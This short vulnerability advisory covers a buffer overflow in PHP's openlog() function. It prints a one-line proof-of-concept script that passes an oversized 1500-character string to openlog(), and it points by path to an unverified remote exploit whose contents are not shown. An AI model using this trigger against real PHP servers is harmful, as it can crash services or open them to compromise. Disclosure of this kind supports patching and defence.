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PHP openlog() Buffer Overflow Vulnerability

The following proof of concept code has been released:

<?php
openlog(str_repeat("X", 1500), LOG_PID, LOG_DAEMON);
?>

The following exploit is reported to exploit this vulnerability remotely. It should be noted that the integrity of this exploit has not been verified by Symantec.

• /data/vulnerabilities/exploits/php_exp.pl